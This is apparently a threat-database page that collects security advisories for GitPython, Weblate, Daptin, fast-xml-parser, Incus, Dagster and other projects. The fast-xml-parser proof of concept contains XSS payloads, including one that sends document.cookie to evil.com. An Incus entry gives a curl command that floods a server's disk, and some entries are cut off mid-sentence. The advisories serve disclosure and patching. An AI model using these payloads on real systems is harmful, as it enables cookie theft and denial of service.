Threat database

A flaw has been found in chatchat-space Langchain-Chatchat up to 0.3.1.3. This issue affects the function PIL.Image.tobytes of the file libs/chatchat-server/chatchat/webui_pages/dialogue/dialogue.py of the component Vision Chat Paste Image Handler. This manipulation of the argument paste_image.image_data causes use of weak hash. The attacker needs to be present on the local network. The attack is considered to have high complexity. The exploitability is assessed as difficult. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.

GitPython versions prior to 3.1.49 contain a vulnerability in the config_writer().set_value() method that allows newline injection. This flaw enables an attacker to inject a malicious core.hooksPath configuration, redirecting Git hook execution to attacker-controlled scripts. The vulnerability arises because set_value() does not validate for newline characters, and Git accepts indented [core] stanzas as valid configuration sections. This can lead to remote code execution during Git operations that invoke hooks, such as commit, merge, or checkout. The issue was fixed in GitPython 3.1.49.

GitPython versions up to 3.1.46 and the current main branch (3.1.47 locally) contain a path traversal vulnerability in their reference APIs. This flaw allows attackers who can supply crafted reference paths to write, overwrite, move, or delete files outside the repository's .git directory due to insufficient validation of reference paths during write, rename, and delete operations. The vulnerability requires local access to influence reference names passed to GitPython APIs and does not require authentication at the library boundary. A fix is available in version 3.1.48.

GitPython versions from 3.1.30 up to but not including 3.1.47 contain a command injection vulnerability via unsafe handling of Git options passed as Python kwargs. The library blocks dangerous Git options like --upload-pack and --receive-pack when passed as hyphenated strings, but the equivalent underscore-form kwargs (e.g., upload_pack) bypass this check and are converted into unsafe Git command-line flags. This allows attacker-controlled input to execute arbitrary commands during repository clone, fetch, pull, or push operations. A fix is available in version 3.1.47.

OpenClaw versions prior to 2026.4.10 have a vulnerability where existing-session browser interaction routes bypass server-side request forgery (SSRF) policy enforcement. This allows these routes to interact with or navigate targets without the SSRF navigation guard applied to other guarded browser routes. The issue was fixed in version 2026.4.10 and later.

OpenClaw versions prior to 2026.4.9 are vulnerable to a security issue where a malicious workspace .env file can inject runtime-control variables. These variables can influence critical behaviors such as update sources, gateway URLs, ClawHub resolution, and browser executable paths. The vulnerability allows an attacker with write access to the workspace .env file to manipulate OpenClaw's runtime environment. This issue is fixed in version 2026.4.9 and later.

### Impact The screenshots, tasks, and component link API allowed for the enumeration of translations in a project inaccessible to the user. ### Patches * https://github.com/WeblateOrg/weblate/pull/19258 ### Acknowledgement Weblate thanks Luay for reporting this vulnerability according to the organization's [security issues guideline](https://docs.weblate.org/en/latest/security/issues.html).

### Impact The Markdown renderer used in user comments and other user-provided content didn't properly sanitize some attributes. ### Patches * https://github.com/WeblateOrg/weblate/pull/19259 ### Workarounds Even though the attacker might be able to inject code into the HTML, the Weblate's strict CSP should mitigate the risks. ### Acknowlegement Michal Čihař has identified and fixed this vulnerability.

A SQL injection vulnerability exists in the Daptin server's fuzzy search functionality. The processFuzzySearch function interpolates user-supplied column names directly into raw SQL without validating them against a whitelist, allowing authenticated users to inject SQL code. This affects the GET /api/<entity> endpoint when using fuzzy operators. The flaw has been confirmed dynamically on SQLite and PostgreSQL, and by code review on MySQL and MSSQL. A fix is available in version 0.11.5.

### Impact An authenticated user with `project.add` permission (default on hosted Weblate SaaS and for any user holding an active billing/trial plan) can import a crafted project backup ZIP whose `components/<name>.json` contains an attacker-chosen `repo` URL pointing at a **private address** (e.g. `http://127.0.0.1:9999/`) or using a **non-allow-listed scheme** (e.g. `file://`, `git://`). Weblate persists the component via `Component.objects.bulk_create([component])[0]`, which bypasses Django's `full_clean()` and therefore never runs the `validate_repo_url` validator. The URL is subsequently written verbatim into `.git/config` by `configure_repo(pull=False)`. ### Patches * https://github.com/WeblateOrg/weblate/pull/19061 * https://github.com/WeblateOrg/weblate/pull/19062 ### Workarounds Limiting who can create projects limits the scope. ### Resources Weblate thanks @fg0x0 for reporting this vulnerability via GitHub.

### Impact When a user changes their password, browser sessions are correctly invalidated via `cycle_session_keys()`, but DRF API tokens (`wlu_*` prefix) stored in `authtoken_token` are not revoked. ### Patches * https://github.com/WeblateOrg/weblate/pull/19057 ### Resources Weblate thanks Sang Yu Jeon for reporting this via GitHub.

CVE-2026-41422 is a SQL injection vulnerability in the Daptin project's /aggregate/:typename API endpoint. It arises because user-supplied query parameters were passed directly to a raw SQL expression builder without validation, allowing authenticated users to inject arbitrary SQL. This enables low-privilege users to extract sensitive data from any database table and disclose internal database information. The issue was fixed in version 0.11.4 by removing unsafe raw SQL calls and implementing strict schema-based validation and allowlists for functions and columns.

# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters ## Summary fast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. Existing CVEs for fast-xml-parser cover different issues: - CVE-2023-26920: Prototype pollution (parser) - CVE-2023-34104: ReDoS (parser) - CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder - CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities This finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability. ## Vulnerable Code **File**: `src/fxb.js` ```javascript // Line 442 - Comment building with NO escaping of --> buildTextValNode(val, key, attrStr, level) { // ... if (key === this.options.commentPropName) { return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE } // ... if (key === this.options.cdataPropName) { return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE } } ``` Compare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`. ## Proof of Concept ### Test 1: Comment Injection (XSS in SVG/HTML context) ```javascript import { XMLBuilder } from 'fast-xml-parser'; const builder = new XMLBuilder({ commentPropName: "#comment", format: true, suppressEmptyNode: true }); const xml = { root: { "#comment": "--><script>alert('XSS')</script><!--", data: "legitimate content" } }; console.log(builder.build(xml)); ``` **Output**: ```xml <root> <!----><script>alert('XSS')</script><!----> <data>legitimate content</data> </root> ``` ### Test 2: CDATA Injection (RSS feed) ```javascript const builder = new XMLBuilder({ cdataPropName: "#cdata", format: true, suppressEmptyNode: true }); const rss = { rss: { channel: { item: { title: "Article", description: { "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more" } }}} }; console.log(builder.build(rss)); ``` **Output**: ```xml <rss> <channel> <item> <title>Article</title> <description> <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]> </description> </item> </channel> </rss> ``` ### Test 3: SOAP Message Injection ```javascript const builder = new XMLBuilder({ commentPropName: "#comment", format: true }); const soap = { "soap:Envelope": { "soap:Body": { "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--", Action: "getBalance", UserId: "12345" } } }; console.log(builder.build(soap)); ``` **Output**: ```xml <soap:Envelope> <soap:Body> <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!----> <Action>getBalance</Action> <UserId>12345</UserId> </soap:Body> </soap:Envelope> ``` The injected `<Action>deleteAll</Action>` appears as a real SOAP action element. ## Tested Output All tests run on Node.js v22, fast-xml-parser v5.5.12: ``` 1. COMMENT INJECTION: Injection successful: true 2. CDATA INJECTION (RSS feed scenario): Injection successful: true 4. Round-trip test: Injection present: true 5. SOAP MESSAGE INJECTION: Contains injected Action: true ``` ## Impact An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can: 1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers 2. **SOAP injection**: Modify SOAP message structure by injecting XML elements 3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout 4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files). ## Suggested Fix Escape delimiters in comment and CDATA content: ```javascript // For comments: replace -- with escaped equivalent if (key === this.options.commentPropName) { const safeVal = String(val).replace(/--/g, '&#45;&#45;'); return this.indentate(level) + `<!--${safeVal}-->` + this.newLine; } // For CDATA: split on ]]> and rejoin with separate CDATA sections if (key === this.options.cdataPropName) { const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>'); return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine; } ```

### Summary Uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using `storage.images_volume` and `storage.backups_volume` as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. ### Details Multiple binary import paths accept application/octet-stream requests and stream the HTTP request body directly into temporary files on the host without any visible request-size limit on the upload path. When these endpoints receive binary content, the daemon routes the request body into import routines that create temporary files under daemon-controlled host storage locations and copy the full attacker-controlled stream into them using direct io.Copy operations. This write occurs before the uploaded content is fully parsed and before later validation can reject the import. Because no visible http.MaxBytesReader, io.LimitReader, quota-aware wrapper, or equivalent size-enforcement mechanism is present around these upload paths, an authenticated attacker can supply an arbitrarily large continuous stream of data. This causes the daemon to keep writing unbounded input to host storage until the operation fails or the underlying file system is exhausted. In a multi-tenant deployment, this can be used to consume shared disk space and cause denial of service on the node. The binary import handlers are reachable through application/octet-stream request paths in the instance backup import, storage bucket import, and storage volume import flows, where the request body is passed directly into import helpers handling backup and ISO uploads. Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/instances_post.go Affected Code: ``` func createFromBackup(s *state.State, r *http.Request, projectName string, data io.Reader, pool string, instanceName string, config string, device string) response.Response { reverter := revert.New() defer reverter.Fail() // Create temporary file to store uploaded backup data. backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) if err != nil { return response.InternalError(err) } defer func() { _ = os.Remove(backupFile.Name()) }() reverter.Add(func() { _ = backupFile.Close() }) // Stream uploaded backup data into temporary file. _, err = io.Copy(backupFile, data) if err != nil { return response.InternalError(err) } [...] } ``` Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_buckets.go Affected Code: ``` func createStoragePoolBucketFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, bucketName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) [...] _, err = io.Copy(backupFile, data) [...] } ``` Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_volumes.go Affected Code: ``` func createStoragePoolVolumeFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) [...] _, err = io.Copy(backupFile, data) [...] } [...] func createStoragePoolVolumeFromISO(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] isoFile, err := os.CreateTemp(internalUtil.VarPath("isos"), fmt.Sprintf("%s_", "incus_iso")) [...] size, err := io.Copy(isoFile, data) [...] } ``` ### PoC The following PoC demonstrates one reachable instance of this issue through the instance import endpoint. The same unbounded upload-to-tempfile pattern is also present in storage bucket backup import, storage volume backup import, and storage volume ISO import handlers. Step 1: Trigger the sustained upload stream From an Incus client with access to the target server, open a long-lived application/octet-stream upload and continuously stream null bytes into the instance import endpoint. Using timeout 120 limits the reproduction to two minutes while still demonstrating that the daemon keeps writing attacker-controlled input for as long as the connection remains open. Commands: ``` echo "[*] Initiating a 2-minute sustained disk exhaustion attack..." timeout 120 cat /dev/zero | curl -k -X POST \ --cert ~/.config/incus/client.crt \ --key ~/.config/incus/client.key \ "https://7atest.dev.stgraber.org:443/1.0/instances?project=default" \ -H "Content-Type: application/octet-stream" \ -T - ``` Step 2: Ve

### Summary ### Details It was found that backup.GetInfo() trusts the inline backup/index.yaml config when present and only falls back to parsing the legacy backup/container/backup.yaml file if result.Config == nil. As a result, an archive can carry a valid inline config that passes the initial import preflight while also carrying a malformed legacy backup/container/backup.yaml file that is reparsed later from the restored file system. ParseConfigYamlFile() accepts YAML documents with no container section, and multiple downstream consumers then dereference .Container without checking for nil. Confirmed examples in the instance restore and import flow include backup.UpdateInstanceConfig() and internalImportFromBackup(). An authenticated user with permission to import instance backups may be able to crash the Incus daemon with a crafted backup archive whose inline backup/index.yaml is valid but whose extracted legacy backup.yaml omits container. The crash occurs in the restore path after archive extraction has begun. The flow is as follows: A crafted backup archive contains a valid backup/index.yaml file together with a malformed backup/container/backup.yaml file that omits the container section. backup.GetInfo() parses backup/index.yaml successfully, so bInfo.Config is populated from the inline config. Because result.Config != nil, GetInfo() does not fall back to backup/container/backup.yaml. instances_post.go then builds the request from bInfo.Config.Container, which succeeds because the inline config is valid. Later, storage unpack extracts backup/container/backup.yaml into the instance volume as <mountPath>/backup.yaml. backend.go then calls backup.UpdateInstanceConfig(..., mountPath), which reparses <mountPath>/backup.yaml through ParseConfigYamlFile(). Because ParseConfigYamlFile() accepts YAML with no container section, backup.Container == nil, and later access to backup.Container.Devices or backup.Container.ExpandedDevices can trigger a nil-pointer dereference. Affected Files: - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backup_info.go#L87 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backup_info.go#L115 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backup_config_utils.go#L85 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backup_config_utils.go#L159 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go#L809 - https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/api_internal.go#L749 The initial backup-metadata parser prefers inline backup/index.yaml content: Affected Code: ``` if hdr.Name == backupIndexPath { err = yaml.NewDecoder(tr).Decode(&result) ``` The legacy backup/container/backup.yaml file is only parsed if the inline config is absent: Affected Code: ``` if result.Config == nil && hdr.Name == "backup/container/backup.yaml" { err = yaml.NewDecoder(tr).Decode(&result.Config) ``` ParseConfigYamlFile() accepts an empty YAML document, or one with no container section, without validation: Affected Code: ``` func ParseConfigYamlFile(path string) (*config.Config, error) { data, err := os.ReadFile(path) ... backupConf := config.Config{} err = yaml.Unmarshal(data, &backupConf) ``` UpdateInstanceConfig() conditionally uses backup.Container at first but later dereferences it unconditionally: Affected Code: ``` if backup.Container != nil { backup.Container.Name = b.Name backup.Container.Project = b.Project } if updateRootDevicePool(backup.Container.Devices, pool.Name) { rootDiskDeviceFound = true } if updateRootDevicePool(backup.Container.ExpandedDevices, pool.Name) { rootDiskDeviceFound = true } ``` Another confirmed sink is present in internalImportFromBackup(): Affected Code: ``` if allowNameOverride { backupConf.Container.Name = instName } if instName != backupConf.Container.Name { return fmt.Errorf("Instance name requested %q doesn't match instance name in backup config %q", instName, backupConf.Container.Name) } ``` This was confirmed as follows: Command: ``` go test ./test/fuzz -run='TestExtractedBackupYAMLMissingContainerNilDereference' -count=1 -v ``` Output: ``` === RUN TestExtractedBackupYAMLMissingContainerNilDereference === RUN TestExtractedBackupYAMLMissingContainerNilDereference/legacy_backup_empty extracted_backup_yaml_poc_test.go:70: UpdateInstanceConfig panicked on malformed extracted backup.yaml (container is nil): runtime error: invalid memory address or nil pointer dereference === RUN TestExtractedBackupYAMLMissingContainerNilDereference/legacy_backup_pool_only extracted_backup_yaml_poc_test.go:70: UpdateInstanceConfig panicked on malformed extracted backup.yaml (container is nil): runtime error: invalid memory address or nil pointer dereference === RUN TestExtractedBackupYAMLMissingContainerNilDereference/legacy_backup_volume_only extracted_backup_yaml_poc_t

### Summary User provided image and backup tarballs would be unpacked and YAML files parsed without any size restrictions. This was making it easy for an authenticated user to provide a crafted image or backup tarball that when parsed by Incus would lead to a very large YAML document being loaded into memory, potentially causing the entire server to run out of memory. ### Details It was found that getImageMetadata and backup.GetInfo call yaml.NewDecoder(tr).Decode() directly on the tar reader without limiting how many bytes the YAML decoder can consume. The tar entry hdr.Size is not checked before decoding. A tar archive can be crafted in which metadata.yaml or backup/index.yaml declares a large size in the tar header, causing the YAML decoder to read and allocate proportional memory on the server. The gopkg.in/yaml.v2 library mitigates YAML alias and anchor bombs, such as “billion laughs,” through its built-in excessive-aliasing check. However, large flat YAML documents with many keys or long string values can still produce linear but amplified memory consumption of approximately 5x to 6x the input size. A 200 MB tar entry for metadata.yaml may cause approximately 1.2 GB of heap allocations during decode, which may be sufficient to trigger an out-of-memory condition on a constrained daemon or significantly degrade service. Because the decode occurs in the daemon process, excessive garbage-collection pressure can affect concurrent operations. Appropriate API permissions are required to upload an image or backup archive. Mitigating factors include the fact that the amplification is linear rather than exponential, at approximately 5x to 6x, and that upload bandwidth is the practical bottleneck for delivering large payloads. Affected Files: - https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go#L1456 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backup_info.go#L87 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backup_info.go#L115 Image metadata parsing reads YAML directly from the tar stream: Affected Code: ``` if hdr.Name == "metadata.yaml" || hdr.Name == "./metadata.yaml" { err = yaml.NewDecoder(tr).Decode(&result) ``` Backup info parsing does the same: Affected Code: ``` if hdr.Name == backupIndexPath { err = yaml.NewDecoder(tr).Decode(&result) if result.Config == nil && hdr.Name == "backup/container/backup.yaml" { err = yaml.NewDecoder(tr).Decode(&result.Config) ``` This was confirmed as follows: Command: ``` go test ./test/fuzz -run='TestUnboundedYAMLMetadataDecode' -count=1 -v ``` Output: ``` === RUN TestUnboundedYAMLMetadataDecode image_metadata_poc_test.go:80: metadata.yaml size: 10.2 MB image_metadata_poc_test.go:113: metadata.yaml hdr.Size = 10688940 bytes (10.2 MB) -- no size check exists in getImageMetadata before yaml.NewDecoder(tr).Decode() image_metadata_poc_test.go:124: decoded 50000 properties from 10.2 MB metadata.yaml image_metadata_poc_test.go:125: yaml.NewDecoder(tr).Decode() accepted 10.2 MB metadata.yaml with 50000 properties -- no hdr.Size check or io.LimitReader in images.go:1457 or backup_info.go:88 --- FAIL: TestUnboundedYAMLMetadataDecode (0.11s) FAIL ``` It is recommended to add a size check on hdr.Size before YAML decoding and to wrap the tar reader in io.LimitReader. Proposed Fix: ``` const maxMetadataSize = 1 << 20 // 1 MB if hdr.Size > maxMetadataSize { return nil, fmt.Errorf("metadata entry too large: %d bytes", hdr.Size) } err = yaml.NewDecoder(io.LimitReader(tr, maxMetadataSize)).Decode(&result) ``` A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0. ### Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

### Summary Missing error handling could lead an authenticated Incus user to cause a daemon crash through the import of a truncated storage bucket backup file. ### Details It was found that TransferManager.UploadAllFiles iterates over tar entries but only checks for io.EOF from tr.Next(). When tr.Next() returns a non-EOF error, such as unexpected EOF from a truncated archive, the header hdr is nil and the code continues to access hdr.Name, causing a nil-pointer dereference that panics the daemon. This may allow the Incus daemon to be crashed during S3 bucket restore if a truncated or corrupted backup archive is provided. A panic can occur when a malformed archive produces a non-EOF tar read error after the first entry. Any caller of UploadAllFiles that processes attacker-controlled archive content may be affected. Affected File: [https://github.com/lxc/incus/blob/v6.22.0/…server/storage/s3/transfer_manager.go#L127](https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/s3/transfer_manager.go#L127) The tar-iteration loop only checks for EOF: Affected Code: ``` for { hdr, err := tr.Next() if err == io.EOF { break // End of archive. } // Skip index.yaml file if hdr.Name == "backup/index.yaml" { ``` When tr.Next() returns a non-EOF error, hdr is nil. The code does not check for this case and immediately dereferences hdr.Name. This was confirmed as follows: Command: ``` go test ./test/fuzz -run='FuzzS3BucketUploadTarParsing/s3_nil_deref_truncated_tar' -count=1 -v ``` Output: ``` === RUN FuzzS3BucketUploadTarParsing === RUN FuzzS3BucketUploadTarParsing/s3_nil_deref_truncated_tar s3_bucket_upload_fuzz_test.go:82: UploadAllFiles panicked: runtime error: invalid memory address or nil pointer dereference --- FAIL: FuzzS3BucketUploadTarParsing/s3_nil_deref_truncated_tar (0.00s) FAIL ``` It is recommended to add a non-EOF error check after tr.Next(). Proposed Fix: ``` hdr, err := tr.Next() if err == io.EOF { break } if err != nil { return fmt.Errorf("Error reading backup archive: %w", err) } ``` A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0. ### Credits This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

The SCP middleware in charm.land/wish/v2 contains a path traversal vulnerability (CVE-2026-41589) that allows an attacker to read and write arbitrary files outside the configured root directory by sending crafted filenames containing '../' sequences. This affects all versions through commit 72d67e6 (fixed in 2.0.1). The flaw arises because the path sanitization function does not properly confine file operations within the root directory, enabling directory traversal. Attackers can exploit this to write files, create directories, read files, and enumerate files outside the intended root.

Dagster's DuckDB, Snowflake, BigQuery, and DeltaLake I/O managers were vulnerable to SQL injection via dynamic partition keys. Users with the 'Add Dynamic Partitions' permission could inject arbitrary SQL commands executed with the I/O manager's database credentials. This affects deployments using dynamic partitions; static or time-window partitions are not impacted. The vulnerability is most relevant where this permission is granted independently of broader database access, such as in multi-tenant or custom RBAC setups. Patched versions 0.29.1 and 1.13.1 fix the issue by properly escaping partition key values in SQL queries.

SmarterTools SmarterMail builds prior to 9560 have a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint. This flaw allows authenticated users to read arbitrary .json files on the system. Exploitation combined with weak encryption and hardcoded keys can expose stored passwords and 2FA secrets for all users. The vulnerability has a high severity with a CVSS score of 8.1.